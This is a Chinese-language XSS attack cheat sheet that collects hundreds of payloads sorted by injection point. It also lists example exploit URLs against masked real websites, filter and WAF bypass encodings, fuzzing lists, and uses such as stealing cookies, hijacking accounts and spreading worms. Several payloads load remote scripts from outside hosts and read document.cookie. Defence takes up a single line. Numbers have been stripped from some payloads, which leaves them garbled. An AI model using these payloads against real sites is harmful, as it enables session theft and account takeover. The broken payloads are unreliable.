应用安全-Web安全-XSS(跨站攻击)攻防整理
储存型 - Payload - 2020/05/17
javas	cript:alert()
x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL'; #图片链接处
分类
反射型 存储型 DOM型 XSF（Flash XSS） PDFXSS MHTML协议跨站(MHTML,data) 字符编码（UTF-7 XSS）
富文本编辑器测试 - 输入框
<img SRC="http://www.baidu.com/" STYLE="xxx:expressio/*\0*/n(if(!window.x){alert('xss');window.x=1;})" ALT="" /> #style过滤不足 IE6环境
<img src= alt="hello,xss＂onerror=alert(1);//"> #发表日志处 反射型
(1)<script>alert(1)</script>
(2)%%3E%3Cscript%3Ealert%/insight/%%3C/script%3E
(3)">%3Cscript%3Ealert%28/document.cookie/%29%3C/script%3E
(4)%3Cscript%3Ealert%28%27s%27%29;%3C/script%3E
(5)</SCRIPT><SCRIPT>alert("B0mbErM@n");</SCRIPT>
(6)--"><SCRIPT>alert("B0mbErM@n");</SCRIPT> -- 接路径后
（7）http://xx.xx.com.cn/front/register.jsp?lang="onerror=alert(document.cookie)%20" 存储型
</a>javascript:alert(/x/) #如相册名称填写处
<iframe/src=javascript:alert(document.cookie);> #如上传视频后填写视频信息，在视频简介处插入 XSS -> 得到用户Cookie -》 登录网站后台 -》 通过越权漏洞添加管理员账号 测试浏览器： IE8 | IE9和Opera 关闭XSS filter | firefox 17.0.5
无回显XSS - burp - Collaborator
<script src="collaborator生成的随机url"></script>
XSS: http://movie.x.com/type,area/a"><BODY ONLOAD=alert(188)>,1/
http://movie.x.com/type,area/a%22%3E%3CBODY%20ONLOAD=alert%28188%29%3E,1/
http://t.x.com.cn/pub/tags/"><script>alert(1)</script>
http://t.x.com.cn/pub/tags/%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E
http://t.x.com/tag/');alert(1)<!--
http://123.x.com/dianping/?aaaaaaaaaa"><script>alert(/wooyun/)</script> http://t.x.com/p/worldcup?g=1"><script>alert(document.domain)</script>
http://shaft.jebe.x.com/show?a=a<script>alert(1)</script>&r=http://www.renren.com&type=single
http://help.x.com/mutually_help_null.shtml?query=<script>alert(1)</script>
http://www.x.com/Product/SearchNew.aspx?new=1&k=aaa<script>alert('xss')</script>
http://t.x.com/p/city?s=44&c=3"><script>alert(1)</script><"
http://search.x.com/bk.jsp?title="><script>alert(1)</script><"
http://wap.x.com/sogou/go2map/?pg=GMINDEX&position="><script>alert(1)</script><"
http://**.**.**.**/api/db/dbbak.php?apptype=1%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%22
http://product.x.com/simp_search.php?manuid=0&keyword=</script><script>alert(42)</script>&bgcolor=ffffff
http://play.x.com.cn/list.php?keyword=<script>alert('xss');</script>&keywords=title&x=10&y=10
http://login.x.com.cn/hd/signin.php?act=1&reference='"><script>alert("xss");</script><"&entry=sso®_entry=space
http://www.x.com/websnapshot?url='"><script>alert("我又来了—小黑");</script><"&did=093e5e25b67f3688-24a8d6236dd
http://passport.x.com/matrix/getMyCardAction.do?url='"><script>alert(9122430);</script><"&chenmi=0&macval=&hmac=
http://mail.x.com/?userid=&appid='"><script>alert(15551700);</script><"&ru=
http://toolbox.x.com/searchcode/iframe?style=4&domain='"><script>alert(15551700);</script><"
http://www.x.net/pharmacysystem.php?page="><script>alert(15551700);</script>&Proceed_=1
http://game.x.tv/astd_register.php?preurl=http://game.pps.tv/astd_register.php&cf="><script>alert(15551700);</script>
http://movies.x.com/movie_search.php?type=xss';"<script>alert(188)</script>&keyword=1
http://movies.x.com/movie_search.php?type=xss%27;%22%3Cscript%3Ealert%28188%29%3C/script%3E&keyword=1
http://movies.x.com/movie_search.php?type=search&keyword=</title><script>alert(/anyunix/)</script>
http://movies.x.com/movie_search.php?type=search&keyword=%3C/title%3E%3Cscript%3Ealert%28/anyunix/%29%3C/script%3E
http://passport.x.com/web/updateInfo.action?modifyType=';alert(/aa/);a='
http://passport.x.com/web/updateInfo.action?modifyType=%27;alert%28/aa/%29;a=%27
http://www.x.com/rp/uiserver2.asp?action=<script>alert(/xss/)</script>
http://cang.x.com/do/add?it=&iu=!--></script><script>alert(/xss/)</script>
http://cang.x.com/do/add?it=&iu=<script>alert(/xss/);</script>
http://**.**.**.**/diannao/?类型=&query=<script>alert(/xss/);</script>&cater=diannao
http://x.tv/cookie.php?act=login_tmp&success_callback="><div%20style="xss:expression(window.x?0:(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)),window.x=1));"></div>
http://x.com.cn/api/get_from_data.php?sid=48302&jsoncallback=jsonp1282643851243'<script>alert('s')</script>s&_=1282643881152
http://x.m.moxiu.com/index.php?do=Phone.List&fid=1&t=8<script>alert('s');</script>
http://x.sina.com.cn/list.php?client=13&clientname=<script>alert('s');</script>
http://bj.x.com/bjhcg/stock/friendkchz.asp?tp=10&group="></iframe><script>alert(/XSS/);</script>
http://hk.x.com/gtja_Report/Report/Search.aspx?type="></iframe><script>alert(/XSS/);</script>
http://hksrv1.x.com/kf.php?keyword=&arg=gtjahk&style=1\0\"\'><ScRiPt>alert(/XSS/);</ScRiPt>
http://hk2.x.com/english/gtja_Report/Report/MarketCVList.aspx?type=0&key=" style="XSS:expression(alert(/XSS/))"
http://8.show.x.com.cn/room/space.php?sid=1000040123&tab=2';</script><script>alert('by pandora ');</script><script>
http://passport.x.com/fastreg/regs1.jsp?style=black"></iframe><script>alert("pow78781");</script>
http://cgi.video.x.com/v1/user/userinfo?u=611991217;alert(/ss/)
http://t.x.com/session?username="><script>alert("xss")</script>\&password=xss&savelogin=1234
http://v.x.com/result.html?word=asdf<img src=1 onerror=alert(1)>&submit=百度一下&type=0
http://b2b.x.com/search/search.jsp?shangji=3&query=<script>alert(document.cookie)</script>
http://login.x.com.cn/sso/login.php?callback=alert(String.fromCharCode(120,115,115,101,114));//&returntype=IFRAME
http://t.x.com.cn/ajaxlogin.php?framelogin=1&callback=var aa='&retcode=101';alert('xsser');var bb='({&reason=';<!--
http://sms.x.com/GGBJ/login.php?phone=sefrefwe" /><script>alert(/ss/);</script><!--
http://tuan.x.com/beijing/life/?promoteid='"><script>alert(565902);</script><"
http://chat.x.com/robot/repositoryBrowse.jsp?title=</TITLE><body onload=alert(999)>
http://cp.x.com/login.asp?language='"><script>alert(7001645);</script><"
http://hi.x.com/?origURL='"><script>alert(123);</script><"&loginregFrom=index&ss=10101
https://auth.x.com/login/index.htm?support=&CtrlVersion=&loginScene=&personalLoginError=&goto='"><script>alert(7263974);</script><"&password=&REMOTE_PCID_NAME=_seaside_gogo_pcid&_seaside_gogo_pcid=&_seaside_gogo_=&_seaside_gogo_p=&checkCode=1111
http://game.x.tv/astd_register.php?preurl=http://game.pps.tv/astd_register.php&cf="><script>alert(9631676);</script>
http://reg.x.com/xn6205.do?ss=a&rt=a&g=');location='https://baidu.com';// 富文本框上传图片处，抓包，POST请求：
msg=分享图片&act=insertTwitter&pic=http://up2.upload.x.com/"abc/123/onerror=alert(); xxx.png
msg=%u5206%u4EAB%u56FE%u7247&act=insertTwitter&pic=http://up2.upload.x.com/"abc/123/onerror=alert(); xxx.png 富文本 - 以源码方式编辑提交 STYLE标签未过滤 - IE6,,
<img SRC="http://www.x.com/" STYLE="xxx:expressio/*\0*/n(if(!window.x){alert('xss');window.x=1;})" ALT="" /> 富文本编辑发表处：
<img src= alt="hello,xss＂onerror=alert(1);//"> 文本框： <script>alert(//)</script> <script>alert(/xss/)</script> <script>alert("XSS")</script> </style><script>alert(/xss/)</script> <script>alert()</script> "><script>alert(/a/);</script> <script>alert(document.cookie)</script> --如在帖子签名处插入-》论坛发帖-》弹窗 </script><script>alert()</script> WooYun<img src='' onerror=alert(/poc/)> '"><script>alert(111);</script><" <img src="x" onerror="alert(1)"> anyunix"/></div></div></div><BODY ONLOAD=alert('anyunix')> "><script>alert(1)</script><" --贴吧发帖回帖标题处 >><<script>alert(/xss/)</script>< 新建相册专辑，名称及描述处输入"><script>alert(1)</script><" -> 以后编辑该相册时触发 --文章标题处
<script>alert('s')</script>
<script>alert(/xss/)</script> '"><script>alert("url");</script><" --插入链接文本框 anyunix</textarea></div></div><BODY ONLOAD=alert('anyunix')></textarea> --签名处 个人空间的“修改样式”功能，只是在保存前做了js判断，并没有对实质内容进行过滤，导致持久型xss。(expression(alert()) 在IE6,IE8下测试通过，此处有字数限制) '"><script>alert("pow78781");</script> ---注册时用户名处 "><script src="http://www.***.com/test.js" type="text/javascript"></script> 可在个人博客首页执行js代码
详细说明：
使用自定义模板时插入javascript，未进行任何检查过滤。直接location.href转向即可将访问者博客（登录状态时）的博文、评论等隐藏
漏洞证明：
编辑自定义代码，如head区域，插入
<script>http://www.x.com/user/service.php?op=poststatus&blogid=***&id=***&Status=0</script> 个人空间DIY时可以使用expression,IE6、IE7测试通过 全角字符形式ｅｘｐｒｅｓｓｉｏｎ表达式未被过滤。而全角字符形式的ｅｘｐｒｅｓｓｉｏｎ能够被IE6解析并执行，因此，该漏洞可能导致使用IE .0访问sohu邮箱的用户遭受XSS攻击，如在邮箱处插入文本：
<DIV STYLE="width: ｅxpression(alert('XSS'));"> 邮箱 - 发件人姓名
填写</script><script>alert()</script> 邮箱 - 发件箱邮件正文 - Style标签未过滤：
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 邮件正文：
<div style="width:exp/****/ression(alert('xsser'))">xsser</div> .用QQ邮箱A给QQ邮箱B发邮件，收件人，标题填好后，对邮件正文内容做一次这样的操作：用邮件编辑器自带的插入图片功能，插入一个“网络照片”（地址随便写，asdf也没关系），之后在编辑器中该“插入的图片”的后面，输入任意html代码即可，如<script>alert()</script>，发送
.B收到邮件意图回复该邮件，点击回复时出现弹框 图片上传处：
<img src="javascript:alert(/xxxs/)"> --仅影响IE6 图片名称（利用js进行CSRF）：
<script src=.js></script>
<script src=http://***.com/*.js> 在图片中插入JS -》 上传 - 》 显示：
<img src="" onerror="XSS" /> 在附件中插入JS -》 上传 -》 显示：
<style> body{ width:expression(alert(/xss/)) } </style> 搜索处：
<script>alert(/xxx/)</script>
"><script>alert()</script>
"><script>alert(/新浪手机跨站/)</script><
"><iframe src=http://www.baidu.com></iframe>
'"><script>alert("小黑来跨站");</script><"
<iframe src=https://www.baidu.com </iframe>
<iframe src=https://www.baidu.com width=500 height=90></iframe>
aa</title></head><script>alert('乖乖');</script>
" onFocus="alert('十九楼跨站') 外部导入：
css导入：
@import url(http://**.**.**.**/1.css); 包含远程css文件，可以在1.css中写入XSS利用.
$str = preg_replace($filter, '', $str); //过滤是过滤了，但只用于判断，没对源输入起作用
if(preg_match("/(expression|implode|javascript)/i", $str)) { //并没有对import、http等进行检测
code 区域
/(expression|vbscript|javascript|import)/i IE6,IE7,IE8通过. js文件导入：
http://cnmail0.x.x.com.cn/classic/rdMail.php?cb=1,</script><script src="http://XX.com/s.js"></script><script> http://t.x.com.cn/ajaxlogin.php?framelogin=1&callback=document.all[3].src='http://xss.com/xss.js';</script><!-- http://123.x.com/dianping/?"><SCRIPT/*/SRC='http://ha.ckers.org/xss.js'> 页面跳转触发：
服务器端存在对参数的过滤不严，导致可以通过在参数中提交带有JavaScript代码恶意url，在进行页面跳转时（如从搜索页面进入换肤）触发漏洞
http://www.x.com/search?q=beyond&"><script>alert('ok')</script>
漏洞触发
code 区域
http://www.x.com/skinchooser?back_url=http://www.x.com/search?q=beyond&"><script>alert('ok')</script> Flash XSS
swf:
</script><!--><meta http-equiv="refresh" content="3;url=http://www.google.com.hk"><!--http://www.1.swf-->.swf (链接地址栏中输入) 链接地址：
mp3链接（链接地址栏中输入）：
gHK【DBA】--><script language="javascript" type="text/javascript" src="http://js.users.51.la/4209140.js"></script><!--跨站.mp3 url链接地址栏中导入js文件：
'<!--><script language="javascript" type="text/javascript" src="http://js.users.51.la/4209140.js"></script><!-- 绕过长度限制：
（）Post提交表单：
</title><script>alert(//)</script> 绕过' " 等字符实现跳转 -》会自动转到 http://www.hao123.com
http://cgi.x.x.com/v1/user/userinfo?u=611991217;var str=window.location.href;var es=/url=/;es.exec(str);var right=RegExp.rightContext;window.location.href=right&url=http://www.hao123.com 作用：
()实现网页自动跳转刷新
http://down.tech.x.com.cn/download/search.php?f_name=0;URL=http://www.geovisioncn.com/news" http-equiv="refresh" \\\
()获取敏感数据
XSS与邮箱同域，在邮件中诱使用户点击可获取邮件列表、通讯录等
()post发送Ajax修改个人资料，如修改邮箱为可操作的邮箱，然后密码找回账号盗号
()获取管理员账号(管理员后台查看JS脚本)
()钓鱼
()蠕虫
条件：.同域 .登录状态 防御：
PHP：
htmlspecialchars
常用构造方法整理
<sCript>alert(1)</scRipt> #使用的正则不完善或者是没有用大小写转换函数
<script>alert(/xss/)</script> #多用于地址栏
%253Cimg%2520src%253D1%2520onerror%253Dalert%25281%2529%253E #多重url编码绕过
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script> #字符转ascii（unicode）十进制编码绕过
<scr<script>rip>alalertert</scr</script>rip> #拼凑法（利用waf的不完整性，只验证一次字符串或者过滤的字符串并不完整）
"onmousemove="alert(&#;xss&#;)
</textarea><script>alert('xss')</script>
<img scr= onerror=alert('xss')> #当找不到图片名为1的文件时，执行alert('xss')
<a href=javascrip:alert('xss')>s</a> #点击s时运行alert('xss')
<iframe src=javascript:alert('xss');height= width= /></iframe> #利用iframe的scr来弹窗
"><script>onclick=alert(1)</script>
<a href="#" onclick="alert(1)">s</a>
<script>eval(location.hash.substr())</script>#alert('xss')
<p>Sanitizing <img src=""INVALID-IMAGE" onerror='location.href="http://too.much.spam/"'>!</p>
"<svg/onload=confirm(document.domain)>
a"><svg/onload=prompt(1)>
"></iframe><script>alert('OPEN BUG BOUNTY');</script>
<button onfocus=alert(/xss/) autofocus> #需要点击button才能执行
<img src=x onerror=window.alert() >
<img src=x onerror=window[‘al’%2B’ert’]() >
<img src=x onerror=_=alert,_(/xss/) >
<img src=x onerror=_=alert;_(/xss/) >
<img src=x onerror=_=alert;x=;_(/xss/) >
<body/onload=document.write(String.fromCharCode(,,,,,,,,,,,,,,,,,,,,,,,,))>
<sCrIpt srC=http://xss.tf/eeW></sCRipT>
"<body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,120,115,115,46,116,102,
,,,,,,,,,,,,,))>" #对地址进行ascii编码，IE不支持String.fromCharCode
<img src=x onerror=javascript:'.concat('alert()> #IE、XSS Auditor均无法绕过
javascript://%250Aalert(1) #重定向+服务端对url两次解码（对url验证：PHP的filter_var或filter_input函数的FILTER_VALIDATE_URL）
javascript://%0Aalert(1) #重定向+服务端对url解码（对url验证：PHP的filter_var或filter_input函数的FILTER_VALIDATE_URL）
javascript://%0A1?alert(1):0 #三目运算符
javascript://baidu.com/%0A1?alert(1):0 #三目运算符
<svg onload=alert()> #字符长度固定-》构造伪造字符
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript> #ascii八进制编码绕过
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> #字符转ascii十六进制编码绕过
<svg onload=javascript:alert(1) xmlns="https://www.test.com">
<iframe src="java script:alert(1)" height=0 width=0 /><iframe> #webkit过滤规则绕过
<script>alert('xss')</script>
" onclick="alert('xss')
<script src="http://xss8.pw/bgFfBx?1419229565"></script> （加载js文件）
<script>confirm(/v587/)</script>
'"()&%<acx><ScRiPt>alert(/xss/)</ScRiPt>
'";alert(1);//
'";alert(/xsss/)//
zaq'onmouseover=prompt(1)>
<svg/onload=alert(1)>
/index.jsp?vendor_id=";alert(/xss/)<!--
字段绕过方法整理
" autofocus onfocus=alert(1) x=" #尖括号绕过/input标签中
name=javascript:alert() autofocus onfocus=location=this.name #尖括号绕过/input标签中
location=url编码模式可将括号写为% % #()绕过
this.name传值绕过 #单引号'绕过
<SCRIPT>a=//alert(a.source)</SCRIPT> #单引号、双引号、分号绕过|尖括号、等号没法绕过
<script>{onerror=alert}throw </script> #引号、分号绕过
<script>eval(String.fromCharCode(, , , , , , , , , , , ))</script> #单引号、双引号、分号绕过|尖括号没法绕过
<<SCRIPT>a=//alert(a.source)//<</SCRIPT> #<script>、单双引号、分号绕过|等号没法绕过
<a href="javascript:alert('xss')">link</a> #javascript绕过
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> #alert绕过
可绕过IE浏览器检测，无法绕过XSS Auditor检测构造方法整理
<img src= onerror=alert(document.domain)>
<video src= onerror=alert(/xss/)>
<audio src=x onerror=alert(/xss/)>
<body/onfocus=alert(/xss/)>
<input autofocus onfocus=alert()> #需点击触发
<svg onload=location=alert()>
<svg onload=javascript:alert()>
<button onfocus=prompt() autofocus> #需点击触发
<select autofocus onfocus=prompt()> #需点击触发
"<svg/onload=alert(1)>"@x.y 针对邮件地址检测构造XSS（if(!filter_var($email, FILTER_VALIDATE_EMAIL))）
<script>alert('xss')</script><svg/onload=setTimeout(alert())><img src= onerror=constructor.constructor(alert())>
<img src= onerror=[].map(alert)>
<img src= onerror=[].filter(alert)>
<img src= onerror=alert(document.domain)>
<svg/onload=setTimeout(String.fromCharCode(,,,,,,,))>
<body/onload=document.write(String.fromCharCode(,,,,,,,,,,,> #对<script>alert()</script>ascii编码
<body/onfocus=_=alert,_()>
利用details | 目前只有 Chrome, Safari 6+, 和 Opera 15+ 浏览器支持 | chrome Auditor无法绕过" | eval拦截可对alert(1) 八进制编码
<details open ontoggle=top.alert()>
<details open ontoggle=top['alert']()>
<details open ontoggle=top[‘prompt’]()>
<details open ontoggle=top[‘al’%2b’ert’]()>
<details open ontoggle=top.eval(‘ale’%2B’rt()’) >
<details open ontoggle=top.eval(‘ale’%2B’rt()’) >
<details open ontoggle=eval(‘alert()’) >
<details open ontoggle=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029') >
<details open ontoggle=eval(atob(‘YWxlcnQoMSk=’)) >
<details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) >
<details open ontoggle=%%%%6c(atob(‘YWxlcnQoMSk=’)) > "
<details open ontoggle=eval('%61%6c%65%72%74%28%31%29') >
<details open ontoggle=eval(‘\\\\\\\\’) >
<details open ontoggle=eval(String.fromCharCode(,,,,,,,)) >
#外部url，运用基于DOM的方法创建和插入节点把外部JS文件注入到网页并进行url编码
<details open ontoggle=eval(“appendChild(createElement(‘script’)).src=’http://xss.tf/eeW'”)>
<details open ontoggle=eval(%%%%%6e%%%%%6c%%%%%%%%%%6c%%6d%%6e%%%%%%%%%%%%%2e%%%%3d%%%%%%3a%2f%2f%%%%2e%%%2f%%%%) >
绕过检测规则/waf方法整理
客户端绕过 - waf部署在客户端上，利用burp、fiddler绕过 USER-Agent伪造绕过 - 对百度、google、soso、360等爬虫请求不过滤的情况下
cookie构造绕过 - $_REQUEST接受get post cookie，waf过滤GET POST IP代理绕过 - 网站显示IP或浏览器，可对IP、user-agent进行构造，在PHP里X_FORWARDED_FOR和HTTP_CLIENT_IP两个获取IP的函数可被修改 插件绕过 - 过任意waf/支持跨域 编码绕过 - HTML、Unicode、URL、ASCII、JS编码、base64
字符实体绕过
利用webkit过滤规则绕过 参数污染绕过（主要用于搜索引擎）
http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos 注释符绕过
input1#value: "><!--
input2#value: --><script>alert(/xss/);<script/>
外部引入css脚本绕过
结合服务器编码语言绕过
配合代码逻辑绕过
编码语言漏洞/框架漏洞 - 如 Jquery 中 html()方法 - Apache||Nginx访问日志攻击
a.cn/test/?text=<script>alert(1)</script> #Nginx，后端Apache
外部引入css脚本整理
<!DOCTYPE HTML>
<html>
<head>
<style>
@import url("malicious.css");
</style> <title>TEST</title>
<meta charset="utf-8">
</head>
<body >
There is a will!
</body>
</html> body{
color:expression(alert('xss'));
}
移动端构造方法整理
#ontouch*handlers
<body ontouchstart=alert()>
<body ontouchend=alert()>
<body ontouchmove=alert()>
Cookie绕过整理
Cookie中添加
style: wrewrwrwrwrafas"><script>alert(1)</script><!--
配合代码逻辑绕过整理
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
');}}alert();if(true){('
场景
function example(age, subscription){
if (subscription){
if (age > ){
another_function('');}}alert();if(true){('');
}
else{
console.log('Requirements not met.');
}
}
执行 -》
function example(age, subscription){
if (subscription){
if (age > ){
another_function('');
}
}
alert();
if (true){
('');
}
else{
console.log('Requirements not met.');
工具篇
XSpear
利用篇
插入恶意代码 - 工具 - 桂林老兵cookie欺骗
<img src=x onerror=appendChild(createElement('script')).src='js_url' />
第三方劫持 (外调J/C)
XSS downloader
XCS
页面渲染XSS
跨域攻击
挖矿
DDOS攻击
获取Cookie
内网IP端口存活主机信息获取
截屏
获取后台地址（存储型XSS） 挂马
（1）反射型 - %3Ciframe+src%3Dhttp%3A%2F%2Fwww.tkwoo.com+width%3D0+height%3D0%3E%3C%2Fiframe%3E+
Fuzzing篇
<svg onload=alert(1)>"><svg onload=alert(1)//
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
'-alert(1)-'
'-alert(1)//
\'-alert(1)//
</script><svg onload=alert()>
<x contenteditable onblur=alert()>lose focus!
<x onclick=alert()>click this!
<x oncopy=alert()>copy this!
<x oncontextmenu=alert()>right click this!
<x oncut=alert()>copy this!
<x ondblclick=alert()>double click this!
<x ondrag=alert()>drag this!
<x contenteditable onfocus=alert()>focus this!
<x contenteditable oninput=alert()>input here!
<x contenteditable onkeydown=alert()>press any key!
<x contenteditable onkeypress=alert()>press any key!
<x contenteditable onkeyup=alert()>press any key!
<x onmousedown=alert()>click this!
<x onmousemove=alert()>hover this!
<x onmouseout=alert()>hover this!
<x onmouseover=alert()>hover this!
<x onmouseup=alert()>click this!
<x contenteditable onpaste=alert()>paste here!
<script>alert()//
<script>alert()<!–
<script src=//brutelogic.com.br/1.js>
<script src=//3334957647/1>
%3Cx onxxx=alert()
<% onxxx=
<x %6Fnxxx=
<x o%6Exxx=
<x on%78xx=
<x onxxx%3D1
<X OnXxx=
<x onxxx= onxxx=1
<x/onxxx=
<x%09onxxx=
<x%0Aonxxx=
<x%0Conxxx=
<x%0Donxxx=
<x%2Fonxxx=
<x =''onxxx=
<x =""onxxx=1
<x </onxxx=
<x =">" onxxx=
<http://onxxx%3D1/
<x onxxx=alert() ='
<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},)>
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert()</script><script>/*
*/alert()">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
<script>alert()</script>
<script src=javascript:alert()>
<iframe src=javascript:alert()>
<embed src=javascript:alert()>
<a href=javascript:alert()>click
<math><brute href=javascript:alert()>click
<form action=javascript:alert()><input type=submit>
<isindex action=javascript:alert() type=submit value=click>
<form><button formaction=javascript:alert()>click
<form><input formaction=javascript:alert() type=submit value=click>
<form><input formaction=javascript:alert() type=image value=click>
<form><input formaction=javascript:alert() type=image src=SOURCE>
<isindex formaction=javascript:alert() type=submit value=click>
<object data=javascript:alert()>
<iframe srcdoc=<svg/onload=alert()>>
<svg><script xlink:href=data:,alert() />
<math><brute xlink:href=javascript:alert()>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
<html ontouchstart=alert()>
<html ontouchend=alert()>
<html ontouchmove=alert()>
<html ontouchcancel=alert()>
<body onorientationchange=alert()>
"><img src=1 onerror=alert(1)>.gif
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
<base href=//0>
<script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1)
<body onload=alert()>
<body onpageshow=alert()>
<body onfocus=alert()>
<body onhashchange=alert()><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert() id=x>#x
<body onscroll=alert()><br><br><br><br>
<body onresize=alert()>press F12!
<body onhelp=alert()>press F1! (MSIE)
<marquee onstart=alert()>
<marquee loop= width= onfinish=alert()>
<audio src onloadstart=alert()>
<video onloadstart=alert()><source>
<input autofocus onblur=alert()>
<keygen autofocus onfocus=alert()>
<form onsubmit=alert()><input type=submit>
<select onchange=alert()><option><option>2
<menu id=x contextmenu=x onshow=alert()>right click me!
alert``
alert()
alert()
alert&#;)
(alert)()
a=alert,a()
[].find(alert)
top["al"+"ert"]()
top[/al/.source+/ert/.source]()
al\u0065rt()
top['al\145rt']()
top['al\x65rt']()
top[..toString()]()
navigator.vibrate()
eval(URL.slice(-))>#alert()
eval(location.hash.slice()>#alert()
innerHTML=location.hash>#<script>alert()</script>
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E
<<scr\0ipt/src=http://xss.com/xss.js></script
%%--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%%3C%2Fscript%3E
' onmouseover=alert(/XSS/)
"><iframe%20src="http://google.com"%%203E
'<script>window.onload=function(){document.forms[0].message.value='';}</script>
x”</title><img src%3dx onerror%3dalert()>
<script> document.getElementById(%22safe123%).setCapture(); document.getElementById(%22safe123%).click(); </script>
<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>
<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[]) };xhr.send();</script>
<script>(function() {var event = document.createEvent(%22MouseEvents%);event.initMouseEvent(%22click%, true, true, window, , , , , , false, false, false, false, , null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script>
<script>var script = document.getElementsByTagName('script')[]; var clone = script.childNodes[].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[])</script>
<script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%);xhr.open(%22GET%,%/xssme2%,true);xhr.onreadystatechange=function(){if(xhr.readyState==%%26xhr.status==){alert(xhr.responseText.match(/'([^']%2b)/)[])}};xhr.send();</script>
<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[])</script>
<script>alert(document.getElementsByTagName('html')[].innerHTML.match(/'([^']%2b)/)[])</script>
<%%%%%%> % = %%6f%%%6d%%6e%%2e%%%%%%%%6c%%6d%%6e%(%%%%%); %%2e%%%%%6e%%%%%6c%(%%6f%%%6d%%6e%%2e%%%%%2e%%6c%6f%6e%%4e%6f%%(%%%%)); %%6c%%%(%%2e%%6e%6e%%%%%4d%4c%2e%6d%%%%(%%%6f%6f%6b%% = '(%2e%2a%3f)'%)[%]); </%%%%%%>
<script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%); xdr.open(%22get%, %/xssme2%3Fa=%, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[]); }catch(e){} }; xdr.send(); </script>
<iframe id=%22ifra% src=%/%></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%<scr% %2b %22ipt>top.foo = Object.defineProperty</scr% %2b %22ipt>%); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script>
<script>alert(document.head.innerHTML.substr(,));</script>
<script>alert(document.head.childNodes[].text)</script>
<script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == ){alert(request.responseText.substr(,));}</script>
<script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script>
<script>x=document.createElement(%22iframe%);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
<script>x=document.createElement(%22iframe%);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); alert(RegExp.%); } } xmlHttp.send(null); }; </script>
<script> document.getElementById(%22safe123%).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%).click({'type':'click','isTrusted':true}); </script>
<script> var+MouseEvent=function+MouseEvent(){}; MouseEvent=MouseEvent var+test=new+MouseEvent(); test.isTrusted=true; test.type='click'; document.getElementById(%22safe123%).click=function()+{alert(Safe.get());} document.getElementById(%22safe123%).click(test); </script>
